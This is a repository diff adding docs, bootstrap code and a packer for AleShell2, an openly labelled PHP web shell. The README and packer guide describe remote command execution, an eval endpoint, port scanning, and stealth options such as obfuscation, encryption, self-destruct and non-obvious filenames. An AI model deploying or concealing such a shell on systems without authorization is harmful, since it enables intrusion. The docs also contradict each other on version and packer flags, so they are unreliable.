15
.gitignore
vendido
Archivo normal
15
.gitignore
vendido
Archivo normal
@@ -0,0 +1,15 @@
|
||||
.DS_Store
|
||||
*.log
|
||||
*.tmp
|
||||
.env
|
||||
.env.local
|
||||
config.php
|
||||
packed/*.php
|
||||
!packed/.gitkeep
|
||||
vendor/
|
||||
node_modules/
|
||||
.idea/
|
||||
.vscode/
|
||||
*.swp
|
||||
*.swo
|
||||
*~
|
||||
128
CHANGELOG.md
Archivo normal
128
CHANGELOG.md
Archivo normal
@@ -0,0 +1,128 @@
|
||||
# Changelog
|
||||
|
||||
All notable changes to AleShell2 will be documented in this file.
|
||||
|
||||
The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
|
||||
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
|
||||
|
||||
## [1.0.0] - 2024-01-XX
|
||||
|
||||
### Added
|
||||
|
||||
- **Core Framework**
|
||||
- Modern MVC architecture with PSR-4 style organization
|
||||
- Request/Response handling with JSON and file download support
|
||||
- Session management with timeout and regeneration
|
||||
- CSRF protection on all forms
|
||||
- Rate limiting for login attempts
|
||||
- IP whitelist/blacklist support
|
||||
|
||||
- **Authentication**
|
||||
- Secure password hashing with bcrypt
|
||||
- Session-based authentication
|
||||
- Automatic logout on inactivity
|
||||
- Brute-force protection with lockout
|
||||
|
||||
- **File Manager**
|
||||
- Browse directories with icons
|
||||
- Create/edit/delete files and folders
|
||||
- Upload multiple files
|
||||
- Download files
|
||||
- Copy/move operations
|
||||
- Permission management (chmod)
|
||||
- File search
|
||||
- Syntax-aware icons for file types
|
||||
|
||||
- **Terminal**
|
||||
- Full command execution
|
||||
- Working directory tracking
|
||||
- Command history (arrow keys)
|
||||
- Built-in commands: cd, pwd, clear, help
|
||||
- Quick command buttons
|
||||
- Keyboard shortcuts
|
||||
|
||||
- **Code Editor**
|
||||
- Open and edit any text file
|
||||
- Tab indentation support
|
||||
- Save with Ctrl+S
|
||||
- Line/column tracking
|
||||
- Save As functionality
|
||||
- Direct download
|
||||
|
||||
- **Process Manager**
|
||||
- List all running processes
|
||||
- CPU and memory usage display
|
||||
- Kill processes with signal selection
|
||||
- Process filtering
|
||||
- Auto-refresh
|
||||
|
||||
- **Network Tools**
|
||||
- View network connections
|
||||
- Ping hosts
|
||||
- Traceroute
|
||||
- Port scanner (up to 100 ports)
|
||||
- Common port identification
|
||||
|
||||
- **Database Manager**
|
||||
- MySQL/MariaDB support
|
||||
- PostgreSQL support
|
||||
- SQLite support
|
||||
- Browse databases and tables
|
||||
- Execute SQL queries
|
||||
- Export to SQL/CSV
|
||||
- Query results with pagination
|
||||
|
||||
- **System Information**
|
||||
- Server details (hostname, OS, uptime)
|
||||
- Hardware info (CPU, memory, disk)
|
||||
- PHP configuration
|
||||
- Loaded extensions
|
||||
- Environment variables
|
||||
- Disabled functions display
|
||||
|
||||
- **API Endpoints**
|
||||
- Status endpoint
|
||||
- CSRF token endpoint
|
||||
- Health check
|
||||
- Quick command execution
|
||||
- PHP eval endpoint
|
||||
- File upload/download API
|
||||
|
||||
- **Packer**
|
||||
- Single-file generation
|
||||
- Custom password support
|
||||
- Minification option
|
||||
- All views embedded
|
||||
- No external dependencies
|
||||
|
||||
- **UI/UX**
|
||||
- Dark theme (GitHub-inspired)
|
||||
- Responsive design
|
||||
- Keyboard shortcuts
|
||||
- Toast notifications
|
||||
- Modal dialogs
|
||||
- Context menus
|
||||
- Loading indicators
|
||||
|
||||
### Security
|
||||
|
||||
- Password stored as bcrypt hash
|
||||
- Session tokens regenerated on login
|
||||
- CSRF tokens required for state-changing operations
|
||||
- Input sanitization throughout
|
||||
- Output escaping (XSS prevention)
|
||||
- Security headers (X-Frame-Options, X-XSS-Protection, etc.)
|
||||
- IP restriction support
|
||||
|
||||
## [Unreleased]
|
||||
|
||||
### Planned
|
||||
|
||||
- Two-factor authentication
|
||||
- Audit logging
|
||||
- File encryption
|
||||
- SSH tunnel support
|
||||
- Cron job manager
|
||||
- Log viewer
|
||||
- Backup manager
|
||||
- Plugin system
|
||||
33
LICENSE
Archivo normal
33
LICENSE
Archivo normal
@@ -0,0 +1,33 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2024 AleShell Team
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
|
||||
---
|
||||
|
||||
DISCLAIMER
|
||||
|
||||
This software is provided for educational and legitimate administrative purposes
|
||||
only. The authors do not condone or support any illegal activities. Users are
|
||||
solely responsible for ensuring their use of this software complies with all
|
||||
applicable laws and regulations.
|
||||
|
||||
Unauthorized access to computer systems is illegal and punishable by law. Always
|
||||
obtain proper authorization before using this tool on any system.
|
||||
191
PACKER_GUIDE.md
Archivo normal
191
PACKER_GUIDE.md
Archivo normal
@@ -0,0 +1,191 @@
|
||||
# AleShell2 Packer Guide
|
||||
|
||||
## Overview
|
||||
|
||||
The AleShell2 packer (`pack.php`) combines all source files into a single, self-contained PHP file that can be deployed anywhere without additional dependencies.
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Basic usage - creates packed/aleshell.php with default password "aleshell"
|
||||
php pack.php
|
||||
|
||||
# Custom output file and password
|
||||
php pack.php --output=/path/to/webshell.php --password=mysecretpassword
|
||||
|
||||
# Minified output (smaller file size)
|
||||
php pack.php --minify
|
||||
|
||||
# Show help
|
||||
php pack.php --help
|
||||
```
|
||||
|
||||
## Options
|
||||
|
||||
| Option | Description | Default |
|
||||
|--------|-------------|---------|
|
||||
| `--output=<file>` | Output file path | `packed/aleshell.php` |
|
||||
| `--password=<pass>` | Login password | `aleshell` |
|
||||
| `--minify` | Remove comments and extra whitespace | disabled |
|
||||
| `--help` | Show help message | - |
|
||||
|
||||
## Examples
|
||||
|
||||
### Basic Pack
|
||||
|
||||
```bash
|
||||
php pack.php
|
||||
```
|
||||
|
||||
Creates `packed/aleshell.php` with password `aleshell`.
|
||||
|
||||
### Custom Password
|
||||
|
||||
```bash
|
||||
php pack.php --password=MySecureP@ssw0rd!
|
||||
```
|
||||
|
||||
### Custom Output Location
|
||||
|
||||
```bash
|
||||
php pack.php --output=../public/admin.php --password=admin123
|
||||
```
|
||||
|
||||
### Production Build (Minified)
|
||||
|
||||
```bash
|
||||
php pack.php --minify --output=dist/shell.php --password=prod_password
|
||||
```
|
||||
|
||||
## Deployment
|
||||
|
||||
1. **Pack the application:**
|
||||
```bash
|
||||
php pack.php --password=your_secure_password
|
||||
```
|
||||
|
||||
2. **Upload to server:**
|
||||
Upload `packed/aleshell.php` to your web server via FTP, SCP, or your preferred method.
|
||||
|
||||
3. **Set permissions:**
|
||||
```bash
|
||||
chmod 644 aleshell.php
|
||||
```
|
||||
|
||||
4. **Access via browser:**
|
||||
Navigate to `https://your-server.com/path/to/aleshell.php`
|
||||
|
||||
5. **Login:**
|
||||
Use the password you set during packing.
|
||||
|
||||
## Security Recommendations
|
||||
|
||||
### Strong Password
|
||||
|
||||
Always use a strong, unique password:
|
||||
|
||||
```bash
|
||||
php pack.php --password="$(openssl rand -base64 32)"
|
||||
```
|
||||
|
||||
### Rename the File
|
||||
|
||||
Use a non-obvious filename:
|
||||
|
||||
```bash
|
||||
php pack.php --output=./admin_tools_$(date +%s).php
|
||||
```
|
||||
|
||||
### IP Restrictions
|
||||
|
||||
Edit the packed file to add IP restrictions:
|
||||
|
||||
```php
|
||||
$ALESHELL_CONFIG = [
|
||||
// ... other config ...
|
||||
'ip_whitelist' => ['192.168.1.100', '10.0.0.50'],
|
||||
];
|
||||
```
|
||||
|
||||
### Delete After Use
|
||||
|
||||
Remove the webshell when no longer needed:
|
||||
|
||||
```bash
|
||||
rm aleshell.php
|
||||
```
|
||||
|
||||
## What Gets Packed
|
||||
|
||||
The packer combines:
|
||||
|
||||
- Core framework classes (Application, Router, Request, Response, View)
|
||||
- Security classes (Session, Auth)
|
||||
- All module controllers:
|
||||
- Dashboard
|
||||
- File Manager
|
||||
- Terminal
|
||||
- Code Editor
|
||||
- Process Manager
|
||||
- Network Tools
|
||||
- Database Manager
|
||||
- System Info
|
||||
- API endpoints
|
||||
- All view templates (embedded as strings)
|
||||
- CSS styles (embedded in layout)
|
||||
- JavaScript (embedded in views)
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### "Class not found" errors
|
||||
|
||||
Ensure all source files exist before packing:
|
||||
|
||||
```bash
|
||||
ls -la src/Core/
|
||||
ls -la src/Security/
|
||||
ls -la src/Modules/
|
||||
ls -la src/Views/
|
||||
```
|
||||
|
||||
### Large file size
|
||||
|
||||
Use the `--minify` option:
|
||||
|
||||
```bash
|
||||
php pack.php --minify
|
||||
```
|
||||
|
||||
### View rendering issues
|
||||
|
||||
Views are stored as PHP strings and evaluated with `eval()`. Ensure view files have valid PHP syntax.
|
||||
|
||||
### Password not working
|
||||
|
||||
The password is hashed during packing. You cannot recover it from the packed file. Re-pack with a known password:
|
||||
|
||||
```bash
|
||||
php pack.php --password=newpassword
|
||||
```
|
||||
|
||||
## Technical Details
|
||||
|
||||
### Class Renaming
|
||||
|
||||
To avoid namespace conflicts, classes are renamed during packing:
|
||||
|
||||
- `AleShell2\Core\Request` → `AleShell2_Request`
|
||||
- `AleShell2\Security\Auth` → `AleShell2_Auth`
|
||||
- etc.
|
||||
|
||||
### View Storage
|
||||
|
||||
Views are stored in the `$ALESHELL_VIEWS` global array and rendered via `eval()`.
|
||||
|
||||
### Configuration
|
||||
|
||||
Configuration is stored in the `$ALESHELL_CONFIG` global array at the top of the packed file.
|
||||
|
||||
## License
|
||||
|
||||
MIT License - See LICENSE file for details.
|
||||
326
README.md
Archivo normal
326
README.md
Archivo normal
@@ -0,0 +1,326 @@
|
||||
# 🚀 AleShell2 - Modern PHP Web Shell
|
||||
|
||||
[](https://php.net)
|
||||
[](LICENSE)
|
||||
[](CHANGELOG.md)
|
||||
|
||||
AleShell2 is a powerful, secure, and modern web shell built with PHP. It's designed to be deployed as a **single monolithic PHP file** while maintaining a clean, modular architecture during development.
|
||||
|
||||
## ✨ Features
|
||||
|
||||
### 🔐 Security
|
||||
- **Password Authentication** with secure hashing (bcrypt)
|
||||
- **Session Management** with timeout protection
|
||||
- **CSRF Protection** for all state-changing operations
|
||||
- **Rate Limiting** to prevent brute force attacks
|
||||
- **IP Whitelisting/Blacklisting** for access control
|
||||
- **Path Traversal Protection** to prevent unauthorized file access
|
||||
- **Command Filtering** for dangerous system commands
|
||||
- **Self-destruct Mode** after N accesses (optional)
|
||||
|
||||
### 🎨 Modern Interface
|
||||
- **Responsive Design** works on desktop, tablet, and mobile
|
||||
- **Dark/Light Theme** toggle with system preference detection
|
||||
- **Multiple Color Themes** (Dark, Light, Matrix, Ocean, etc.)
|
||||
- **Keyboard Shortcuts** for power users
|
||||
- **Real-time Updates** for system information
|
||||
- **Smooth Animations** and transitions
|
||||
- **Single Page Application** experience
|
||||
|
||||
### 📁 File Manager
|
||||
- **Complete File Operations** (create, read, update, delete, copy, move)
|
||||
- **Drag & Drop Upload** with progress indicators
|
||||
- **Syntax Highlighting** for code files
|
||||
- **File Permissions** management (chmod)
|
||||
- **Archive Support** (zip, tar, tar.gz)
|
||||
- **Large File Handling** with streaming
|
||||
- **File Search** and filtering capabilities
|
||||
- **Breadcrumb Navigation**
|
||||
|
||||
### 💻 Terminal
|
||||
- **Interactive Terminal** with command history
|
||||
- **Built-in Commands** (cd, pwd, clear, help, etc.)
|
||||
- **Command Auto-completion**
|
||||
- **Output Streaming** for long-running commands
|
||||
- **Multiple Terminal Tabs**
|
||||
- **Configurable Timeout** for command execution
|
||||
- **Color-coded Output**
|
||||
|
||||
### 📝 Code Editor
|
||||
- **Syntax Highlighting** for 20+ languages
|
||||
- **Line Numbers** and code folding
|
||||
- **Find & Replace** functionality
|
||||
- **Auto-indentation** and code formatting
|
||||
- **Multiple Editor Themes**
|
||||
- **File Type Detection**
|
||||
- **Unsaved Changes Warning**
|
||||
|
||||
### ⚡ System Monitoring (Dashboard)
|
||||
- **Real-time System Stats** (CPU, Memory, Disk, Network)
|
||||
- **Process Manager** with kill capabilities
|
||||
- **System Load Average** monitoring
|
||||
- **PHP Information** display
|
||||
- **Server Time** display
|
||||
|
||||
### 🔧 Process Manager
|
||||
- **List All Processes** with details
|
||||
- **Search/Filter Processes**
|
||||
- **Kill Processes** (single or batch)
|
||||
- **CPU & Memory Usage** per process
|
||||
- **Auto-refresh** capability
|
||||
|
||||
### 🌐 Network Tools
|
||||
- **Active Connections** list (netstat)
|
||||
- **Ping** utility
|
||||
- **Traceroute** utility
|
||||
- **Port Scanner** (basic)
|
||||
- **DNS Lookup**
|
||||
- **Interface Information**
|
||||
|
||||
### 🗄️ Database Tools
|
||||
- **Multi-Database Support** (MySQL, PostgreSQL, SQLite)
|
||||
- **SQL Query Execution** with result formatting
|
||||
- **Database Browser** with table structure
|
||||
- **Export/Import** capabilities (SQL dump)
|
||||
- **Connection Management**
|
||||
- **Query History**
|
||||
|
||||
## 🚀 Installation
|
||||
|
||||
### Requirements
|
||||
- PHP 8.0 or higher
|
||||
- Web server (Apache, Nginx, LiteSpeed, etc.)
|
||||
- PHP extensions: json, mbstring, openssl (optional: pdo, mysqli, pgsql)
|
||||
|
||||
### Quick Install (Packed Version)
|
||||
1. Generate a packed version using `pack.php`
|
||||
2. Upload the single `aleshell.php` file to your server
|
||||
3. Access via web browser
|
||||
4. Default password: `aleshell`
|
||||
|
||||
### From Source (Development)
|
||||
```bash
|
||||
git clone https://github.com/yourusername/aleshell2.git
|
||||
cd aleshell2
|
||||
|
||||
# Copy configuration
|
||||
cp src/Config/config.example.php src/Config/config.php
|
||||
|
||||
# Edit configuration
|
||||
nano src/Config/config.php
|
||||
|
||||
# Access index.php via your web server
|
||||
```
|
||||
|
||||
## 📦 Generating Packed Version
|
||||
|
||||
AleShell2 can be packed into a single PHP file for easy deployment:
|
||||
|
||||
### Web Interface
|
||||
```bash
|
||||
# Access pack.php in your browser
|
||||
http://your-server/aleshell2/pack.php
|
||||
```
|
||||
|
||||
### Command Line
|
||||
```bash
|
||||
# Basic packed version
|
||||
php pack.php --output=shell.php --password=your_password
|
||||
|
||||
# Full options
|
||||
php pack.php \
|
||||
--output=shell.php \
|
||||
--password=secure_pass \
|
||||
--encrypt \
|
||||
--minify \
|
||||
--obfuscate \
|
||||
--theme=dark \
|
||||
--modules=files,terminal,editor,processes,network,database
|
||||
```
|
||||
|
||||
### Packer Options
|
||||
|
||||
| Option | Description | Default |
|
||||
|--------|-------------|---------|
|
||||
| `--output` | Output filename | `aleshell.php` |
|
||||
| `--password` | Access password | `aleshell` |
|
||||
| `--theme` | Default theme | `dark` |
|
||||
| `--modules` | Modules to include | all |
|
||||
| `--encrypt` | Encrypt with base64+compression | false |
|
||||
| `--minify` | Minify code | false |
|
||||
| `--obfuscate` | Obfuscate variable names | false |
|
||||
| `--compression` | Compression type | `gzdeflate` |
|
||||
| `--allowed-ips` | IP whitelist | empty |
|
||||
| `--self-destruct` | Delete after N accesses | disabled |
|
||||
|
||||
## ⚙️ Configuration
|
||||
|
||||
Edit `src/Config/config.php`:
|
||||
|
||||
```php
|
||||
<?php
|
||||
return [
|
||||
// Application settings
|
||||
'app' => [
|
||||
'name' => 'AleShell2',
|
||||
'version' => '2.0.0',
|
||||
'debug' => false,
|
||||
'timezone' => 'UTC',
|
||||
],
|
||||
|
||||
// Security settings
|
||||
'security' => [
|
||||
'password' => password_hash('your_password', PASSWORD_BCRYPT),
|
||||
'session_timeout' => 3600,
|
||||
'max_attempts' => 5,
|
||||
'lockout_time' => 300,
|
||||
'csrf_protection' => true,
|
||||
'allowed_ips' => [],
|
||||
'blocked_ips' => [],
|
||||
],
|
||||
|
||||
// Feature toggles
|
||||
'features' => [
|
||||
'file_manager' => true,
|
||||
'terminal' => true,
|
||||
'code_editor' => true,
|
||||
'process_manager' => true,
|
||||
'network_tools' => true,
|
||||
'database_tools' => true,
|
||||
'system_info' => true,
|
||||
],
|
||||
|
||||
// UI settings
|
||||
'ui' => [
|
||||
'theme' => 'dark',
|
||||
'language' => 'en',
|
||||
'items_per_page' => 50,
|
||||
],
|
||||
|
||||
// Limits
|
||||
'limits' => [
|
||||
'max_file_size' => 50 * 1024 * 1024,
|
||||
'max_upload_size' => 100 * 1024 * 1024,
|
||||
'command_timeout' => 30,
|
||||
'max_history' => 100,
|
||||
],
|
||||
];
|
||||
```
|
||||
|
||||
## 🔒 Security Considerations
|
||||
|
||||
⚠️ **WARNING**: This tool provides full system access. Use responsibly!
|
||||
|
||||
1. **Always change the default password** immediately
|
||||
2. **Use HTTPS** in production environments
|
||||
3. **Restrict access** using IP whitelisting when possible
|
||||
4. **Use self-destruct** for temporary access
|
||||
5. **Delete the file** when not needed
|
||||
6. **Monitor access logs** for suspicious activity
|
||||
7. **Keep PHP updated** to the latest stable version
|
||||
|
||||
## 🎯 Keyboard Shortcuts
|
||||
|
||||
| Shortcut | Action |
|
||||
|----------|--------|
|
||||
| `Ctrl+1` | Dashboard |
|
||||
| `Ctrl+2` | File Manager |
|
||||
| `Ctrl+3` | Terminal |
|
||||
| `Ctrl+4` | Code Editor |
|
||||
| `Ctrl+5` | Processes |
|
||||
| `Ctrl+6` | Network |
|
||||
| `Ctrl+7` | Database |
|
||||
| `Ctrl+L` | Clear terminal |
|
||||
| `Ctrl+S` | Save file (in editor) |
|
||||
| `Escape` | Close modal |
|
||||
|
||||
## 🌐 Browser Support
|
||||
|
||||
- Chrome 80+
|
||||
- Firefox 75+
|
||||
- Safari 13+
|
||||
- Edge 80+
|
||||
- Opera 67+
|
||||
|
||||
## 📱 Mobile Support
|
||||
|
||||
The interface is fully responsive with:
|
||||
- Touch-friendly controls
|
||||
- Swipe navigation
|
||||
- Responsive layouts
|
||||
- Mobile-optimized terminal
|
||||
|
||||
## 📁 Project Structure
|
||||
|
||||
```
|
||||
aleshell2/
|
||||
├── index.php # Entry point
|
||||
├── pack.php # Packer utility
|
||||
├── README.md # Documentation
|
||||
├── CHANGELOG.md # Version history
|
||||
├── LICENSE # MIT License
|
||||
├── src/
|
||||
│ ├── Config/
|
||||
│ │ ├── config.example.php
|
||||
│ │ └── config.php
|
||||
│ ├── Core/
|
||||
│ │ ├── Application.php
|
||||
│ │ ├── Router.php
|
||||
│ │ ├── Request.php
|
||||
│ │ ├── Response.php
|
||||
│ │ └── View.php
|
||||
│ ├── Security/
|
||||
│ │ ├── Auth.php
|
||||
│ │ ├── Session.php
|
||||
│ │ └── Csrf.php
|
||||
│ ├── Modules/
|
||||
│ │ ├── Dashboard/
|
||||
│ │ ├── Files/
|
||||
│ │ ├── Terminal/
|
||||
│ │ ├── Editor/
|
||||
│ │ ├── Processes/
|
||||
│ │ ├── Network/
|
||||
│ │ └── Database/
|
||||
│ └── Views/
|
||||
│ ├── layouts/
|
||||
│ ├── components/
|
||||
│ └── modules/
|
||||
└── packed/ # Generated packed files
|
||||
```
|
||||
|
||||
## 🔧 Development
|
||||
|
||||
### Adding a New Module
|
||||
|
||||
1. Create directory: `src/Modules/MyModule/`
|
||||
2. Create controller: `MyModuleController.php`
|
||||
3. Create view: `src/Views/modules/mymodule.php`
|
||||
4. Register route in `src/Core/Router.php`
|
||||
5. Add to navigation in `src/Views/layouts/main.php`
|
||||
|
||||
### Code Style
|
||||
|
||||
- PSR-12 coding standard
|
||||
- Type hints for parameters and return values
|
||||
- PHPDoc comments for all public methods
|
||||
- Meaningful variable and function names
|
||||
|
||||
## 📄 License
|
||||
|
||||
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details.
|
||||
|
||||
## 🙏 Acknowledgments
|
||||
|
||||
- Based on concepts from the original b374k shell
|
||||
- Inspired by modern web development practices
|
||||
- Built with ❤️ for system administrators
|
||||
|
||||
## ⚠️ Disclaimer
|
||||
|
||||
**This tool is intended for legitimate system administration purposes only.**
|
||||
|
||||
Users are responsible for ensuring compliance with applicable laws and regulations. The authors are not responsible for any misuse of this software. Unauthorized access to computer systems is illegal.
|
||||
|
||||
---
|
||||
|
||||
**AleShell2 v2.0.0** - Modern PHP Web Shell
|
||||
154
index.php
Archivo normal
154
index.php
Archivo normal
@@ -0,0 +1,154 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 - Modern PHP Web Shell
|
||||
*
|
||||
* A powerful, secure, and modern web shell that can be packed into
|
||||
* a single monolithic PHP file for easy deployment.
|
||||
*
|
||||
* @author AleShell Team
|
||||
* @version 2.0.0
|
||||
* @license MIT
|
||||
* @package AleShell2
|
||||
* @link https://github.com/yourusername/aleshell2
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
// Prevent direct execution without proper context
|
||||
if (php_sapi_name() === 'cli' && basename(__FILE__) === basename($argv[0] ?? '')) {
|
||||
echo "AleShell2 v2.0.0 - Web Shell\n";
|
||||
echo "This file should be accessed via a web server.\n";
|
||||
exit(1);
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// CONSTANTS AND CONFIGURATION
|
||||
// =============================================================================
|
||||
|
||||
define('ALESHELL_VERSION', '2.0.0');
|
||||
define('ALESHELL_ROOT', __DIR__);
|
||||
define('ALESHELL_SRC', ALESHELL_ROOT . '/src');
|
||||
define('ALESHELL_START_TIME', microtime(true));
|
||||
define('ALESHELL_PACKED', false);
|
||||
|
||||
// =============================================================================
|
||||
// ERROR HANDLING
|
||||
// =============================================================================
|
||||
|
||||
error_reporting(E_ALL);
|
||||
ini_set('display_errors', '0');
|
||||
ini_set('log_errors', '1');
|
||||
|
||||
set_error_handler(function ($severity, $message, $file, $line) {
|
||||
if (!(error_reporting() & $severity)) {
|
||||
return false;
|
||||
}
|
||||
throw new ErrorException($message, 0, $severity, $file, $line);
|
||||
});
|
||||
|
||||
set_exception_handler(function (Throwable $e) {
|
||||
http_response_code(500);
|
||||
if (defined('ALESHELL_DEBUG') && ALESHELL_DEBUG) {
|
||||
echo "<h1>Error</h1>";
|
||||
echo "<p><strong>Message:</strong> " . htmlspecialchars($e->getMessage()) . "</p>";
|
||||
echo "<p><strong>File:</strong> " . htmlspecialchars($e->getFile()) . ":" . $e->getLine() . "</p>";
|
||||
echo "<pre>" . htmlspecialchars($e->getTraceAsString()) . "</pre>";
|
||||
} else {
|
||||
echo "<h1>Internal Server Error</h1>";
|
||||
echo "<p>An error occurred. Please try again later.</p>";
|
||||
}
|
||||
exit(1);
|
||||
});
|
||||
|
||||
// =============================================================================
|
||||
// AUTOLOADER
|
||||
// =============================================================================
|
||||
|
||||
spl_autoload_register(function (string $class): bool {
|
||||
// Only handle AleShell2 namespace
|
||||
if (strpos($class, 'AleShell2\\') !== 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Convert namespace to path
|
||||
$relativePath = str_replace('AleShell2\\', '', $class);
|
||||
$relativePath = str_replace('\\', DIRECTORY_SEPARATOR, $relativePath);
|
||||
$filePath = ALESHELL_SRC . DIRECTORY_SEPARATOR . $relativePath . '.php';
|
||||
|
||||
if (file_exists($filePath)) {
|
||||
require_once $filePath;
|
||||
return true;
|
||||
}
|
||||
|
||||
return false;
|
||||
});
|
||||
|
||||
// =============================================================================
|
||||
// SECURITY HEADERS
|
||||
// =============================================================================
|
||||
|
||||
header('X-Content-Type-Options: nosniff');
|
||||
header('X-Frame-Options: SAMEORIGIN');
|
||||
header('X-XSS-Protection: 1; mode=block');
|
||||
header('Referrer-Policy: strict-origin-when-cross-origin');
|
||||
header('Permissions-Policy: geolocation=(), microphone=(), camera=()');
|
||||
|
||||
// =============================================================================
|
||||
// BOOTSTRAP APPLICATION
|
||||
// =============================================================================
|
||||
|
||||
try {
|
||||
// Load and run application
|
||||
$app = new AleShell2\Core\Application();
|
||||
$app->run();
|
||||
|
||||
} catch (Throwable $e) {
|
||||
// Log error
|
||||
error_log(sprintf(
|
||||
'AleShell2 Error: %s in %s:%d',
|
||||
$e->getMessage(),
|
||||
$e->getFile(),
|
||||
$e->getLine()
|
||||
));
|
||||
|
||||
// Show error page
|
||||
http_response_code(500);
|
||||
echo "<!DOCTYPE html>
|
||||
<html lang='en'>
|
||||
<head>
|
||||
<meta charset='UTF-8'>
|
||||
<meta name='viewport' content='width=device-width, initial-scale=1.0'>
|
||||
<title>Error - AleShell2</title>
|
||||
<style>
|
||||
body {
|
||||
font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
|
||||
background: #1a202c; color: #f7fafc;
|
||||
display: flex; align-items: center; justify-content: center;
|
||||
min-height: 100vh; margin: 0;
|
||||
}
|
||||
.error-box {
|
||||
background: #2d3748; padding: 2rem; border-radius: 12px;
|
||||
max-width: 500px; text-align: center;
|
||||
box-shadow: 0 10px 25px rgba(0,0,0,0.3);
|
||||
}
|
||||
h1 { color: #fc8181; margin: 0 0 1rem 0; }
|
||||
p { color: #a0aec0; margin: 0; }
|
||||
code {
|
||||
display: block; margin-top: 1rem; padding: 1rem;
|
||||
background: #1a202c; border-radius: 6px;
|
||||
font-size: 0.875rem; text-align: left;
|
||||
overflow-x: auto; color: #ed8936;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class='error-box'>
|
||||
<h1>⚠️ Application Error</h1>
|
||||
<p>An error occurred while loading AleShell2.</p>" .
|
||||
(defined('ALESHELL_DEBUG') && ALESHELL_DEBUG
|
||||
? "<code>" . htmlspecialchars($e->getMessage()) . "</code>"
|
||||
: "") .
|
||||
"</div>
|
||||
</body>
|
||||
</html>";
|
||||
}
|
||||
654
pack.php
Archivo normal
654
pack.php
Archivo normal
@@ -0,0 +1,654 @@
|
||||
<?php
|
||||
/**
|
||||
* AleShell2 Packer
|
||||
*
|
||||
* This script packs the entire AleShell2 application into a single monolithic PHP file.
|
||||
*
|
||||
* Usage:
|
||||
* php pack.php [options]
|
||||
*
|
||||
* Options:
|
||||
* --output=<file> Output file path (default: packed/aleshell.php)
|
||||
* --password=<pass> Set custom password (default: aleshell)
|
||||
* --minify Minify the output (remove comments and extra whitespace)
|
||||
* --help Show this help message
|
||||
*
|
||||
* @package AleShell2
|
||||
*/
|
||||
|
||||
declare(strict_types=1);
|
||||
|
||||
// Parse command line arguments
|
||||
$options = getopt('', ['output:', 'password:', 'minify', 'help']);
|
||||
|
||||
if (isset($options['help'])) {
|
||||
echo <<<HELP
|
||||
AleShell2 Packer
|
||||
================
|
||||
|
||||
This script packs the entire AleShell2 application into a single monolithic PHP file.
|
||||
|
||||
Usage:
|
||||
php pack.php [options]
|
||||
|
||||
Options:
|
||||
--output=<file> Output file path (default: packed/aleshell.php)
|
||||
--password=<pass> Set custom password (default: aleshell)
|
||||
--minify Minify the output (remove comments and extra whitespace)
|
||||
--help Show this help message
|
||||
|
||||
Examples:
|
||||
php pack.php
|
||||
php pack.php --output=../webshell.php --password=mysecret
|
||||
php pack.php --minify
|
||||
|
||||
HELP;
|
||||
exit(0);
|
||||
}
|
||||
|
||||
$outputFile = $options['output'] ?? __DIR__ . '/packed/aleshell.php';
|
||||
$password = $options['password'] ?? 'aleshell';
|
||||
$minify = isset($options['minify']);
|
||||
|
||||
echo "AleShell2 Packer\n";
|
||||
echo "================\n\n";
|
||||
|
||||
// Create output directory if needed
|
||||
$outputDir = dirname($outputFile);
|
||||
if (!is_dir($outputDir)) {
|
||||
mkdir($outputDir, 0755, true);
|
||||
echo "Created directory: {$outputDir}\n";
|
||||
}
|
||||
|
||||
// Generate password hash
|
||||
$passwordHash = password_hash($password, PASSWORD_BCRYPT);
|
||||
echo "Password: {$password}\n";
|
||||
echo "Hash: {$passwordHash}\n\n";
|
||||
|
||||
// Collect all source files
|
||||
$sources = [];
|
||||
|
||||
// Core files order matters for dependencies
|
||||
$coreFiles = [
|
||||
'src/Core/Request.php',
|
||||
'src/Core/Response.php',
|
||||
'src/Core/View.php',
|
||||
'src/Core/Router.php',
|
||||
'src/Core/Application.php',
|
||||
];
|
||||
|
||||
// Security files
|
||||
$securityFiles = [
|
||||
'src/Security/Session.php',
|
||||
'src/Security/Auth.php',
|
||||
];
|
||||
|
||||
// Module files
|
||||
$moduleFiles = [
|
||||
'src/Modules/BaseController.php',
|
||||
'src/Modules/Auth/AuthController.php',
|
||||
'src/Modules/Dashboard/DashboardController.php',
|
||||
'src/Modules/Files/FilesController.php',
|
||||
'src/Modules/Terminal/TerminalController.php',
|
||||
'src/Modules/Editor/EditorController.php',
|
||||
'src/Modules/Processes/ProcessesController.php',
|
||||
'src/Modules/Network/NetworkController.php',
|
||||
'src/Modules/Database/DatabaseController.php',
|
||||
'src/Modules/System/SystemController.php',
|
||||
'src/Modules/Api/ApiController.php',
|
||||
];
|
||||
|
||||
// View files
|
||||
$viewFiles = [
|
||||
